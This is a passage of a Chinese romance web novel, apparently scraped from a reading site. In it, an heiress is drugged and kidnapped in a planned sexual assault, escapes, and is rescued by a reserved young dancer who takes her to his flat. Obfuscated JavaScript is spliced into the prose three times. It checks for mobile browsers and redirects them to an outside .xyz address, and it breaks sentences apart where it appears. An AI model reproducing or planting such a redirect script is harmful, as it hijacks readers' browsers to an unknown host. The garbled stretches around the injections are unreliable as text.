“……”梁洛明被晾在原地,手还在半空中悬着,微微皱起眉。 * 江崇焰走出去十几米,过了拐角。 才垂下眸,盯着自己胸前缩成一团还在鬼鬼祟祟往后看的女人。 这邪恶女人在开门的时候正好躲在他背后。 然而等他经过梁洛明的时候,就像只兔子一样飞快从侧边蹿到了他身前,借着他的身体遮挡,正好完成位置互换。 江崇焰满脸黑线地看着这个把自己当成盾牌用的自来熟女人,忍无可忍。 “你在哪学的隐身。” “嗯嗯。” 辛桐敷衍应了一声,缩在他身前,扒着他的手臂,探出脖子往后瞄,还在认真确认梁洛明是不是已经进门了。 下一秒就被男人捏着后脖颈拉远。 “干嘛!” 辛桐被他无情推开好几步,两人之间隔出一段社交距离。 “哼。”大小姐哼出一口气,抱胸,“我要是会隐身,今天晚上就去你家看你洗澡,顺便直播给全国人民看。” 这话太轻浮,她看着眼前的男人脸色一下子变了,眉眼压下来,抿着唇。 他好像又生气了。 “你跟那人什么关系。” “谁?”辛桐有点没明白。 江崇焰面无表情。 “那个穿一身黑像是要去偷狗的。” “长得还没我高的。” “自以为很火,包得像个粽子,其实根本没人看他的。” “……等等,等等。”辛桐从没见过江崇焰讲这么多话,有点没反应过来,“你说梁洛明?” 她哼哼唧唧,吞吞吐吐,说不出口。 再结合刚刚她光是听见那人名字就那么大反应,以及东躲西藏不愿意见面的样子,任谁都已经能猜出七八分。 她好色风流的名头那么响亮,男模圈鼎鼎有名的富婆客人,会所常客,前任无数。 有几个欠过情债的蓝颜知己,又是什么大事呢。 江崇焰盯着面前女人支支吾吾的样子,冷笑了一声。 …… 辛桐想来想去,既然已经打算重新请求□□忙,那总是要跟江崇焰搞好关系的,最好能当上朋友。 她还是决定实话实说是前男友,可是才刚说出一个“前——”字。 “没兴趣。” 被骤然打断。 “?” 她再抬起头时,只能看见前方男人扭头就走的漠然背影。 ……辛桐瞪大眼睛。 问的也是他,不听的还是他。 谁能告诉她这大少爷的心思到底怎么猜? 此时是梧城的秋天。 街道两边种满法国梧桐,树干挺拔高大,金黄的梧桐叶飘飘洒洒,像是被金鱼一尾甩动的破碎阳光,发出沙沙的声响。 辛桐踩着脚下一层金黄色的梧桐叶,追上去。 江崇焰个子高高大大,走路也快,像阵风一样。 辛桐小跑着跟在后面。 “那啥,江少爷,最近还好吗?” 街道安静,路边房屋整齐。 空气清新,天空高远明亮,土地湿润黏泽。秋天真的来了。 两人的影子,一高一矮,落在路边金黄的落叶地毯上。 “吃饭了吗?” “最近身体怎么样?” “等会是不是要去练舞?忙不忙?累不累?” 她叽叽喳喳地说着,在男人身侧像一只春野间灵动的小鸟。可前面男人速度丝毫没变,辛桐只顾着套近乎,没注意脚下的低矮台阶,尖叫一声就瞪大眼睛整个人往前面栽去。 下一秒,撞进了一个浅淡木质香味和微微潮湿的怀抱里。 一只有力的手臂横亘在她身前,握住她肩膀,稳稳接住了她往下坠的身子。 温热的呼吸离她脸侧极近,她几乎瞬间就可以感受到那股属于成年男性的气息扑面而来。 滚烫热切的费洛蒙。 大脑空白一瞬,她愣怔抬头。 看见一片金黄卷曲的梧桐叶,在半空中飘飘荡荡,伴着心跳声,落在两人交叠的身间。 …… 辛桐如同老年痴呆般僵滞,心有余悸地扒着男人的手臂。 自言自语,“吓死我了,吓死我了。” 还没缓过神来,就被男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15396189|166851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一把推开。 梧桐叶随着男人的动作缓缓坠下,消失不见。 “你是不是蠢?” “跟在我后面跑什么?” 江崇焰低头看了一眼她脚上的高跟鞋,皱起眉头。 “不是之前给了你一双运动鞋?” “今天穿裙子,搭高跟鞋好看啊。” 辛桐瞪他,理直气壮反驳,“你每天不也打扮得花枝招展的,项链耳钉手链一个不落,一身金银铜铁,跟收废品的似的。” “……”男人更生气了,黑漆漆的眸沉了沉,扯了扯嘴角,干脆扭头就走。 辛桐这才想起来自己是要讨好人家,怎么一不小心又给人家惹生气了,赶紧又能屈能伸地跟上去。 “去哪,我送你。” “不用。”极其冷的语气,像是要结冰。 “你车停哪了?方便吗?我车就在前面,很近的,真的,我送你一程吧。” 江崇焰头也没回,高大身影消失在街角。 辛桐停了脚步。好吧,这次是真走了。 她把包甩到背上,呼出一口气。 天气真好啊。刚刚下过一场雨,现在雨后阳光正好,不远处的杂乱的黑色电线上挂着一串小小的将落未落的雨珠,淡蓝色明亮的天空一角,居然出现了一缕小小的七色彩虹。 辛桐这人颇有天塌下来我散步的悠闲人生态度。 她人生的前二十年是没有任何烦恼的。出身富贾,独女受宠,有大把的时间去享受生活,只做自己喜欢的事。 在许多醉生梦死的夜晚里,她信奉今朝有酒今朝醉。 有目标了,就大胆去做,被骂也笑嘻嘻。 失败了,就路边看看彩虹,回家点几个肌肉男看脱衣舞。 明天又是新的一天。 辛桐哼着歌走到自己的粉色劳斯莱斯前,打开车门坐了进去。 还没系上安全带,余光就瞟见后视镜上,一个身影飞速掠过。 她惊讶瞪大了双眼。 ——只见一个人骑着一辆自行车,飞一般地从她车门前经过。 年轻男生握着车把,小臂映出流畅的肌肉线条,青色的血管蜿蜒,腕骨处系着三圈红色手链。 前额的金发被风吹起来,脸上没什么表情,飞扬的衣角自由飘在身后,像是风暴里的蝴蝶。 车轮飞速旋转,他一眼也没看她,风一般地走了。 …… 辛桐愣愣地看着男人远去的背影。 ……这就是他的车? 辛桐这辈子已经很少看见有人骑自行车了,更不要说周围同圈层二代,家里司机多得都用不完,豪华跑车一辆接一辆的。 在她潜意识里,江家这种名门家族,那更应该是能有多浮夸就有多浮夸。 她猛地想起上次在警局门口,江崇焰开来的那辆车。不是什么名牌豪车,颜色也低调,跟他的性格看上去完全不符。 辛桐有点预感,她觉得那辆车虽然是江崇焰的,但是他肯定不常开。相反,他生活里应该常常骑自行车出门。 这人真够特别的。 辛桐不禁想,都23了,怎么却还感觉像个18岁的少年一样。 …… 她踩下油门往前开。 一路畅通,前方右转之后过了视线盲区后却凭空突然出现一辆黑色的车,横着大喇喇刺在路的正中间。 “我靠!” 道路狭窄,她一秒之内迅速反应过来猛打方向盘,劳斯莱斯一路往路边冲,直接撞破了路边的护栏,发出巨大的撞击声响。 胸前被安全带死死拉扯,她整个人都差点撞到方向盘上,魂都在天上飞。刚刚那声巨大的撞击声,不用想也知道,车灯肯定全碎了。 辛桐的火一下子就上来了。 她解开安全带,怒气冲冲下车,走到那辆黑车前,刚想破口大骂。 下一秒,就看见车门忽然被打开,下来两个黑衣服戴口罩的壮男。两人速度极快,一切只在两秒钟之内发生,辛桐完全没反应过来,就被一块脏脏的破布死死捂住口鼻,顿时眼神一昏,身子软软地倒了下去。 21. 第 21 章 辛桐是个废物。 但是她也是富贾千金。 何川白手起家做生意,事业开始有起色那几年,对手也眼红。他过得小心翼翼,出门必带保镖。 受首富亲爹的言传身教,辛桐从小就对“绑架”之类的事极其敏感。 比如现在,身体反应比大脑反应更快,她在潜意识里反应过来自己被绑架之前,就已经在被捂住口鼻的瞬间屏住了呼吸。 虽然吸入的量不多,但是还是不可控制受了影响,她只觉得眼前白光一片,脑子昏沉,腿脚软得一点力气也没有。 意识一片涣散,她只觉得自己被人扛起来拖上了车。 …… 浑身越来越热,眼皮沉重睁不开。 她隐约感觉身边有人,好像还能听见人说话。越来越困,咬牙想让自己保持清醒,右手偷偷使劲掐自己大腿。 晃荡的车程里,有人说话。 “昏了吧?” “昏得死死的。” 一个光头男人踢了辛桐一脚,辛桐动也不动。 “喏,完全昏过去了。这药是真猛。” 光头男人笑着说,“要我说,对付辛桐这种废物还用得着上药?” “梧城谁不知道她玩的开,趁她去会所点男模的时候,灌点酒不就不省人事了?” “哎,那可不一定,我可打听过,之前好多人都想灌醉她,趁酒醉转点她手机里的钱,结果从来没人成功过。都说这娘儿们几乎从来不在自己不熟悉的地方喝酒,甚至水和饮料都不喝。” “放屁吧,她有这么警觉?”光头低头看了完全昏过去的辛桐一眼,拿起辛桐的包,拉开拉链,得意地掏出了手机。 “现在不就拿到了?” ——“别动!” 角落里突然响起一个中年男人的声音。 他微胖,戴着眼镜,穿着西装,普通话标准,手腕上带着腕表,一把就掐住了光头的手。 “放回去!” 他低声呵斥。 “何向荣让你们把人带回去,没让你们做多余的事!” ——此人正是Kelly公司高管,高正光。 光头被训斥,满脸不爽,叼着半根没点燃的烟,骂了一声,把手机扔了回去。 “知道了知道了。” “我们给何向荣做事,又不是给你做事。少JB吓唬我们。” 高正光没说话,沉着脸移开了视线。 车内一时再无人说话。空气凝滞。 高正光心情极差,气压低,皱着眉头,反复叹气。 他从没想过,他会跟着上一辆绑架自己老板的车。 …… 何向荣被辛桐那一脚,踢得几乎失去生育功能。 他本就年纪大了,躺在病床上痛得惨叫,眼里都是猩红的火,怒骂一定要让辛桐付出代价。可所有人都在劝他别声张,辛桐再不受宠那也是董事长亲女儿,难道还能让董事长亲女儿背官司? 如今只有咽下这口气,不追究责任,接受调解。 可签了字之后,他越想越气,郁结于心。 伤得太重痛苦难忍,手术也无法恢复正常,堂堂一个大男人最后竟被一个小女孩踢成这般下场,何向荣被捧上高位多年实在无法承受这种落差。 而最后给他致命打击的是,尽管他拼命想要掩藏消息,可是他被踢得失去了生育功能这件事,还是如同雪花一般在行业里传播了出去。 他多年来在行业里建立起的所有名誉和声望全都瞬间崩塌,萦绕在他名字周围的只有丑闻、病榻与见不得光的下三路。 每天都要躺在病床上像一只无法动弹的动物一样,毫无尊严地给医护人员展示伤口,何向荣积压的所有情绪,终于在某一天捕捉到一个年轻实习护士嫌恶和取笑的眼神里,彻底爆发了。 他气得发疯,气得癫狂。他什么都不在乎了。他过够了。 他确实没有向辛桐追究法律责任,是因为这无异于再次把他的伤昭告天下。 他要反过来,以其人之道还治其人之身,让辛桐身败名裂。 何向荣找了自己老家农村的几个远房亲戚,给足钱帮自己办事,让他们给辛桐下药,把辛桐绑架去自己郊外的一栋别墅里。全程录像,打算把辛桐受春药控制的丑态全都录下来,最后再找几个地痞混混,彻底毁了她。 他疯了。但是其他人没疯。 比如高正光。 高正光在听了这个计划后,哆哆嗦嗦大惊失色。 他完全不想找死,甚至对辛桐没有任何敌意,假如辛桐上位他只当是换个老板,自己照样上班。 可他早年受何向荣提拔,现在又被病床上的何向荣以死胁迫,不得已苦着脸被迫加入。 高正光紧盯着车里这几个人。 这几人是何向荣老家亲戚,素质差得要死,吊儿郎当非常不靠谱。 几个男人衣服脏兮兮,叼着烟,袖口油渍都还没有擦干净。 车是辆破面包车,晃晃悠悠,开起来零件都好像要散架,坐垫乌黑,还夹杂着浓重的异味。 在这种环境里,辛桐完全格格不入,静静地躺在那。 黑发散落,肤色雪白,柔软干净的脸蛋朝里,紧闭着眼,浓密的睫毛微微颤抖,一身干净衣裙素洁优雅。 简直像是仙女一般。 那几人哪里见过这种美人,绑上车以后眼珠子就像黏在她身上一样肆意打量。 高正光一眼看见光头的手捏了一下辛桐的脸,最后还偷偷摸摸朝着辛桐的胸口去了。 瞬间脸色一变,一脚踹了过去。 “拿开你的脏手!” “操你大爷——” 光头被踹到车门边,后脑勺狠狠撞了一下车窗,整辆车都跟着摇晃了两下。 “姓高的,你找死啊!” “你才找死!” 高正光低声吼道。 “辛桐是森川集团千金,何川唯一的女儿,她要是出了事,你们全都吃不了兜着走!” “老子管他的!这娘们都被下药了,等会到了别墅就要□□了,老子先摸两下解解馋怎么了?关你几把事?” 高正光咬着牙,一不做二不休掏出手机,点开拨号页面。 “你再动手,我现在报警。” “卧槽!” 车内所有人都慌了,司机一个急刹车,所有人都往前栽倒了一下。 “别别别!有话好好说!” “好了好了,算了算了!” 副驾驶骂了几句光头,他终于喘着气闭上了嘴,憋着一股火,不再言语。 高正光坐了回去。 他全程气压都很低,沉着脸,不想中途出什么意外,被人发现自己在干这种事,只想赶紧无声无息把人送到。 但何向荣这几个亲戚做事懒散不牢靠,开到一半说车没油了,调转方向去了最近的加油站,要去加油。 高正光骂了几句,最后也只能由他们去了。 车进了加油站,停下来,熄了火。 几人说要下去撒尿,还要高正光给油钱。 高正光:“何向荣一次性把所有钱都给你们了,里面包括了所有费用!你们为什么不自己付!” 高正光不愿意让自己留下支付记录,拒绝付钱。 那几人也都不愿意把到手的钱交出来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15403523|166851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 车门被打开,几个人下了车,在加油站角落里吵了起来。 最后一人下车的时候,车门没关。 辛桐迅速睁开眼睛,抬起手就扇了自己一巴掌。疼痛带来瞬间的清醒,她爬起来,跌跌撞撞地跑下了车。 …… 她浑身燥热,头晕脑胀,眼前一片白,什么都看不清楚。 她没敢找加油站工作人员,毕竟那几人就在加油站,到时候他们随便给自己安上一个自家妹妹吵架闹脾气离家出走的由头,其他人未必知道真相,反而丢失了唯一可以出逃的机会。 她跑啊跑,穿过小巷子,扶着墙,就快要到前方一个小广场的时候,突然和右边冲出来的一个男人撞上。 男人个子很高,浑身都硬硬的,撞得辛桐脸痛。 他戴着头戴式耳机,宽大的卫衣外套连帽包着头,手揣兜里,一身酷酷地在玩滑板。 “唔!” 他没想到会有一个女人从小巷口突然冲出来,躲避不及失去平衡,滑板“啪——”地飞出去老远,他一整个翻过来摔倒在地,闷哼一声,最后还好心垫了一下辛桐让她摔在自己身上。 “喂!喂!” 好像有人在叫她。声音很熟悉,飘在天上。 江崇焰被迫半躺在地上,皱着眉,看着如同八爪鱼般紧紧压在自己身上的意识模糊的女人。 他一把扯下耳机挂在脖子上,手背嫌弃地摸了摸辛桐的额头。 冰冰凉凉,辛桐觉得舒服立刻蹭了上去,那人又像触电一般马上把手抽了回去。 “江崇焰。” 辛桐直视着他的眼睛,努力伸直舌头,一个字一个字认真地说。 “我被下药了。救我。” 她看见江崇焰僵硬的身体和骤然间放大的瞳孔。 口齿清晰地说出那两句话已经花光了辛桐所有力气,她紧张到了极点,手指紧抓着江崇焰胸口的衣衫,攥出了褶皱,还想努力再多解释几句,想让江崇焰相信自己这不是玩笑和整蛊。 身后隐隐约约传来杂乱的脚步声,还夹杂着几个男人的大声叫嚷。 “人呢?跑哪去了?” “都给我找!” 辛桐听见这声音浑身一抖,不由自主地害怕起来。 她手指紧紧攥住江崇焰的衣衫,仿佛抓住救命稻草,身体越来越热,眼前越来越模糊。却还想努力张嘴,再解释几句让江崇焰相信自己。 “头晕就别说话了。” 男人却一眼看懂,完全没有再多问一句。 下一秒,身上就被披上了一件外套。 外套极其宽大,她整个头和上半身都被罩住。 视线被遮挡,眼前瞬间昏暗,世界只剩她自己,以及外套上朦胧的好闻的湿润气息。 辛桐瞬间松了一口气。 她知道江崇焰一定会帮自己的。于是整个人从剧烈紧张的状态中瞬间松懈,陷入一种无法言说的安心感,再也无法支撑住,整个人软软地趴在他身上。 江崇焰最后看了一眼地上的滑板,问了句,“手还有劲吗?” 一条梆硬的沉重的滑板被塞进她怀里。 “帮我抱着。” 为啥,这不是他的滑板吗。干嘛让她抱。 整个人被他外套里的清冽气息包围,和江崇焰在一起时,斗嘴几乎成了一种条件发射般的相处模式。 辛桐迷迷糊糊,艰难说出一句,“我抱这个那你干什么?” 下一秒天旋地转,她整个人都轻飘飘地飞了起来。 腿弯处是男人有力的小臂。 头顶传来男人的冷嗤。 “我抱你啊,大小姐。” 22. 第 22 章 辛桐整个人被江崇焰的外套完全包裹,眼睛看不见,鼻尖全都是他身上的味道。 她感觉到他正抱着她往前走。脚步平稳,沉静。 他身上有一股自由野性的锐利,可遇到天边的风之后,便交融流连,只剩一种无法言说的平静的安心感,一点点侵蚀辛桐受药物影响而越来越困倦昏聩的心。 她越来越困。 越来越热。 男人臂膀有力,胸前轮廓饱满坚硬。她那受药物催化而通红滚烫的脸颊不由自主地往男人怀里蹭。 眼神迷离,神智混乱。 辛桐盯着眼前男人的胸膛,张嘴就隔着衣料一口咬上了尖端。 “嘶!” 头顶立刻传来一声闷哼,男人浑身肌肉瞬间绷紧,手上的力气大得吓人。 他似乎是用了全身的力气才堪堪忍住,走路的速度只顿了一下又恢复正常,咬着牙捏着她的腿弯,无声地警告她。 咬个N头而已,他怎么反应这么大? 真敏感。 辛桐很有良心地松嘴了。 她盯着男人胸前衣衫上被自己口水洇出的一小片深色的印记。 心底泛起一股诡异的满足感和幸福感。 她又往上看,把新目标盯上了男人的脖颈。 锁骨形状明显,紧贴皮肤,挂着一条黑色的锁骨链。 蹭上前去嗅嗅,淡淡的香水味道,夹杂着清浅的沐浴露香味,还带着成年男人的温热体温。 周黑鸭!绝味鸭脖! 好想吃! 辛桐大脑混沌一片,咬了咬酸酸的后牙,目不转睛盯着眼前的锁骨,随后又一口咬了上去。 她好像还良知尚存,记得自己嘴下的这个小帅哥有点敏感,不能一上来就咬。 于是松开牙关,慢慢地啄吻,最后又试探性地伸出一小截舌头,轻轻柔柔地舔了上去。 ——这下,男人的脚步彻底停了下来。 胸口开始剧烈起伏,男人额角青筋都跟着跳了跳,站在原地,一动不动,呼吸粗重而低急。 从脖颈开始,一直弥漫到胸口和下巴,全都以肉眼可见的速度开始变红。 越来越红。 越来越红。 越来越红。 红到她几乎可以听见男人剧烈的心跳声。 红到她几乎可以想象男人耳廓滚烫的温度。 红到,她感觉到下方似乎有什么东西,在短短几秒钟之内就突然开始彰显出一些难以掩饰的存在和轮廓。 羞耻又沉甸甸地硌在她的身下。 …… 意识到脖颈上温热、湿滑、柔软的触感来源于什么东西的那一刻。 江崇焰脑子里轰地一声。 他紧咬着牙,一声不吭。 浑身僵硬得像一块炙热的钢板。 向来都一副高高在上冷漠锋利样子的江家少爷,从没想过自己居然也有这种难堪羞耻的时刻。 周围隐隐约约传来小孩嬉戏玩闹的笑声。这里是梧城主城区的一片小广场,此时日落时刻,市民三三两两散步闲聊。 家长里短的闲话随风被送进他的耳畔,冲击着他摇摇欲坠的神志。 前一刻还在和这些市民一样,在广场上戴着耳机玩滑板的他。 下一刻,居然抱着女人,在公众场合,众目睽睽随时有人会发现的情况下,清醒地,眼睁睁地,看着自己起了生理反应。 江崇焰猛地意识到,自从他认识辛桐以来,他的平静生活就一直在被扰乱。 他的底线一再被拉低,社交界限一再被打破。 她是一阵海面过境的飓风,呼啸着来。她的所有一切都太过强烈,太过原始,他前二十几年人生中冷酷践行的边界感,被她几秒钟就彻底摧毁。 远处日落圆滚滚,橙色漫天。 余晖落在他脸上,他的睫毛也被染成了金橙色。 一滴汗珠从他金色的发间落下,滑落鼻尖。 江崇焰在梧城漫天艳丽的夕阳里一动不动。大脑在极度难堪的情况下竟然慢慢生出一丝诡异的平静,他盯着天边火一般的云彩,咬牙切齿地喃喃。 什么破太阳。 那么大一个,从来不问地上的人喜不喜欢它的光,就这么自我地照。 和辛桐一样讨厌。 …… 他大手收紧,竭力想把怀里的人和自己拉出一点距离。 强烈的高傲的羞耻心还想苦苦维持着最后的一丝遮掩和侥幸,他在理智边缘挤出一点未知的希望。 或许怀里的人受药物影响,没那么敏感能发现周围的变化。 嗯。一定是的。她都快晕了,怎么会还能发现这种事。 江崇焰冷静思考着。 就算她发现了,也不会说出口的。 意外情况总会发生,双方都是成年人,避而不谈是最好的选择,指出来只会徒增尴尬,让他和辛桐两个人之间本来就不对付的关系变得更奇怪。 对吧? ……可是下一秒,他就听见怀里的女人发出一点黏糊的声音。 带点沙哑,娇俏,和略微惊奇。 “嗯?” 辛桐强撑着困倦的大脑,新奇地戳戳他胸前滚烫的红色皮肤。 紧接着,江崇焰就听见了他人生中最黑暗的一句话。 “江崇焰。” “我只是舔了你一下。” “你怎么就ying了。” * 辛桐是被冻醒的。 她躺在一个沙发上。缩手缩脚,周身一条毛毯都没有,冻得浑身发抖。 周围是陌生的环境,像是谁家里的客厅。 旁边无人,静悄悄。 掏出手机看了看。 原来自己已经在这个沙发上睡了快一小时。 辛桐睁眼看着天花板。 脑子开始一点点活过来,她想起了发生的所有事情。 “江崇焰。” “我只是舔了你一下。” “你怎么就ying了。” 辛桐最后的记忆就停留在了这里。 因为轻飘飘说完这句话以后,她就眼睛一闭,枕着江崇焰的胸肌,彻底昏了过去。 …… 回忆到这里,她瞳孔骤然紧缩,一个鲤鱼打挺坐了起来。 她真的对江崇焰说了这种话??? 本来才在陈问那里下定决心要寻求江氏帮助,要和江大少爷搞好关系。 如果说意外被绑架以及撞见他被他救,辛桐那愚蠢的脑子还能从中窥见一点光亮,比如他也许也没那么讨厌自己。 毕竟他又一次选择了帮她,对吧? 可是江大少爷才刚放下之前的过节,以德报怨,一脸冷酷地抱她起来,她就脑子昏沉地又把人家玷污了一遍。 这次不是掐N头了。 是咬。 从N头咬到了锁骨。 把人家当街咬硬了。 最后还要说一句胜利结算,来羞辱人家。 “……” 懊恼和后悔潮水般袭来,脑子里还有药物残留的感觉,针刺般难受。 她捂着脑袋瘫回沙发上。 空气里有淡淡的香薰味道。 她开始下意识环顾四周。这是一个陌生的房子,大平层。 整个房子一眼看过去最大的特点就是空旷。面积大,但是很干净,四周看一圈,没有看见任何生活用品。桌上只有一盒孤零零的抽纸,连盘水果都没有。冷清,极简,或者说主人公是一个极其冷淡怕麻烦的人。 然而这样一间空空荡荡的房子里,正对着她的一面墙上,竟然贴满了各种各样五颜六色的海报。 红色和黑色占据最主要的颜色,火热和昏暗交织。有摇滚乐队,有足球球星,有嘻哈潮牌,有街舞舞者,全是一堆辛桐不认识的白男和黑男。 墙的正上方还有三盏灯,啪地往下一打,展示作用极佳,整面墙星光熠熠地展现在辛桐眼前。 冷淡和花里胡哨竟能同时存在。 辛桐半靠在沙发上愣愣地欣赏了一会,心想,的确房如主人。 所以,主人呢? 她站起来,四周看了看。客厅和厨房都没看到人,往里面走,卧室门紧闭,里面有轻微的脚步声,门缝里透出亮光。 那人在卧室里。 救了她,带回自己家,扔在自家客厅里。 之后就一个人躲在自己卧室里不出来。 看样子,是故意躲避,不愿意见她。 一阵冷风吹过,她打了个大大的喷嚏。太冷了,她捂着胳膊,终于还是敲响了房门。 “江少爷。”混世魔王千金大小姐的语气从来没这么乖过,老老实实敲了三下门。 里面没人说话。 她又敲了两下。 里面隐约响起一阵声音,很急促的地板摩擦声,还有那种很重的喘息。辛桐困惑地辨别了一下,那种喘息声不像是人,像是动物。 一声压低的“no”,急促的地板摩擦声和喘息声都消失了。 半晌,里面才传来一声压低的男声。 闷闷不乐。别扭低沉。 “不在。” “没人。” 没人,那你是谁? 辛桐知道自己玷污了高岭之花良家妇男,也理解受害者那种悲愤郁闷的心情,但是她现在实在是太冷了。 “江少爷,请问……阿嚏!” 一个巨大的喷嚏打出来,还没来得及睁开眼睛,忽然面前的房门“啪——”地一下瞬间打开,从里面冲出来一团低矮的巨大的黄色身影,狂奔着就冲辛桐猛冲过来! “啊!!” 辛桐被突如其来出现的活物吓个半死,一屁股摔倒在地。 “可乐!回来!” 伴随着房间里男人略带着慌张的吼声,那个黄色的身影在辛桐身旁冲来冲去兴奋地上蹿下跳,最后一脚蹦到了辛桐身上,仰着脖子露着舌头,一边喘气一边不停地拱辛桐的胸口。 没过几秒,房间里又窜出一只活物,也兴奋地蹭到辛桐身上,开始舔辛桐的手。 “这……” 辛桐呆了。 她愣愣地看着怀里体型堪称为猪的两只动物。 下一秒,头顶垂下一道阴影。 千呼万唤的年轻男孩终于肯从房间里走出来。 高高大大,站在她面前。胸腔微微起伏着,金发落下遮住眉毛,低垂着眼,偏向一边。 明明刻意想要避而不见,还特地把人扔在客厅里,自己带着两只宠物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15410121|166851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在卧室里呆着。 可是最后这道用于遮掩和躲避主人糟糕郁闷情绪的门,还是意外被宠物欢脱地冲开了。 男人浑身都透露着别扭冷淡。眼睛不看她,却开口惜字如金地蹦出来一句话,语气生硬无比。 “这是我的狗。” “……狗?” 辛桐坐在原地,看着怀里的两只煤气罐,半天才说出一句: “从哪里开始是狗。” * 辛桐坐回了沙发上。 脚边是两只欢乐的狗,一只金毛,一只中华田园犬,都被养得油光水滑,体型硕大。 从来没见过家里来客人,特别是女性客人。两只狗简直热情过了头。 金毛差点就要跳上沙发,被江崇焰一掌拍了下去,声音冷沉,“坐好。” 辛桐还没说话,一张口又是一个大大的喷嚏。 “啧。” 身后传来沉稳的脚步声,男人拿着酒精喷雾冲她喷了两下。 “冷!”她吸着鼻子嚷嚷。 男人顿了顿,坐下来。 “室温20度,冷?” 他视线落在辛桐在沙发上缩成一团的身体上。 想起来,她刚刚在房门口也是在打喷嚏。 不是带回家以后就直接在沙发上睡了一觉吗? 又没人给她身上泼水,哪门子的冷。 江崇焰走上前,第一反应就是想用手背去蹭一下她的手背。 但是两人皮肤接触的前一秒,他突然像是想起什么般,触电般把手迅速抽了回来,彻底杜绝了任何有可能的肢体接触。 “……麻烦。” 他皱了下眉。从没谈过恋爱的江大少爷对女性生理知识知之甚少,不知道很多女生手脚易凉。 最后还是起身,没过几秒冷酷地扔过来一条毯子。 “医生说你没什么事,休息几天就行。那个药吸入量不多,没有什么后遗症。不放心的话可以再去医院仔细看看。” 辛桐缓了过来,蹭蹭柔软的毛毯,“原来你家还有这么舒服的东西。” 江崇焰冷淡瞥她一眼。 “难道我平常都盖锁子甲睡觉?” 辛桐裹在毯子里,半晌后想起了正事。 “对了,那几个人当时追过来的时候,没发现你?” 她明明已经被下了药拖上了车,却还是从高正光和何向荣的亲戚眼皮子底下跑掉了。 那群人肯定气得发疯。 假如当时他们穿过巷子追到广场,正好看见江家少爷抱着一团什么东西经过,难道就没怀疑? “他们不认识我。” 辛桐听着他的回答,过了几秒才反应过来。 对啊,没人知道他就是江家的那个江崇焰。 他在所有会露脸的场合里,用的身份都是街舞dancerAiden。 所以在那几人的视角里,就是广场上一群小孩老人在夕阳下散步,有人骑自行车,有人溜旱冰,有人跳广场舞——还有一个拽拽酷酷的路人,抱着一个蒙住头看不见脸的女人,怀里还塞着一块滑板。 谁能想到,那个被下药的梧城第一废物蠢货辛桐,能从他们眼皮子底下逃出来,在几秒之内就撞上一个好心路人,还能迅速说服对方把自己救走。 ——太离奇了。 就算有过那么一丝怀疑,但是可能性也太低,足够让人放弃这种想法。 …… 得知暂时摆脱了危险,辛桐的身体就像一张绷紧的弦,骤然松懈下来。 今天一整天,她上午去了公司,见了艾灵,中午找了陈问,下午遇见了江崇焰,傍晚还差点被何向荣绑架,最后九死一生逃了出来。 惊险程度简直跟拍电影一样。 “所以,到底是怎么回事。” “那些人为什么要这样对你。” 对面男人抱臂,语气低沉,眼睛却一直看着她。 那些人为什么要这样对她? 辛桐突然不知该怎么回答。 沙发边金毛还在奋力地舔辛桐的手。 毯子柔软,两只毛茸茸的狗围着她。 对面,高大瘦削的年轻男人叉开腿坐着,手肘搭在大腿上,略微皱着眉,眉眼锋利,黑眸清亮,眼神就这么锁着她。 她闻见空气里的浅浅香薰味。 很淡,很淡。厚重的木质调,乌木加香草,沉默但热烈。 辛桐半躺在沙发上,低头,抿着唇,有一搭没一搭摸着狗头。 那一刻,一种极度放松和宁静的感觉突然从脚底升腾往上。 回国以来短短一周之内实在发生了太多事情。 她接受了多年宠爱自己的父母一朝抛弃自己的事实,她忍受着全城所有人对自己的鄙夷和嘲讽、对竞争对手弟弟的无限偏爱和奉承。 她从一个花天酒地的富二代变成了毫无经验的企业一把手,她毫无怨言应下了一个接近十亿亏损的大窟窿。 大家都恨她。讨厌她。想害她。 大家都觉得她不配拥有任何东西。 “那些人为什么要这样对你。”男人这样问。 辛桐低着头,没说话。 过了几秒钟,一滴透明的、滚烫的眼泪,突然从她低垂的眼眶里,砸了下来。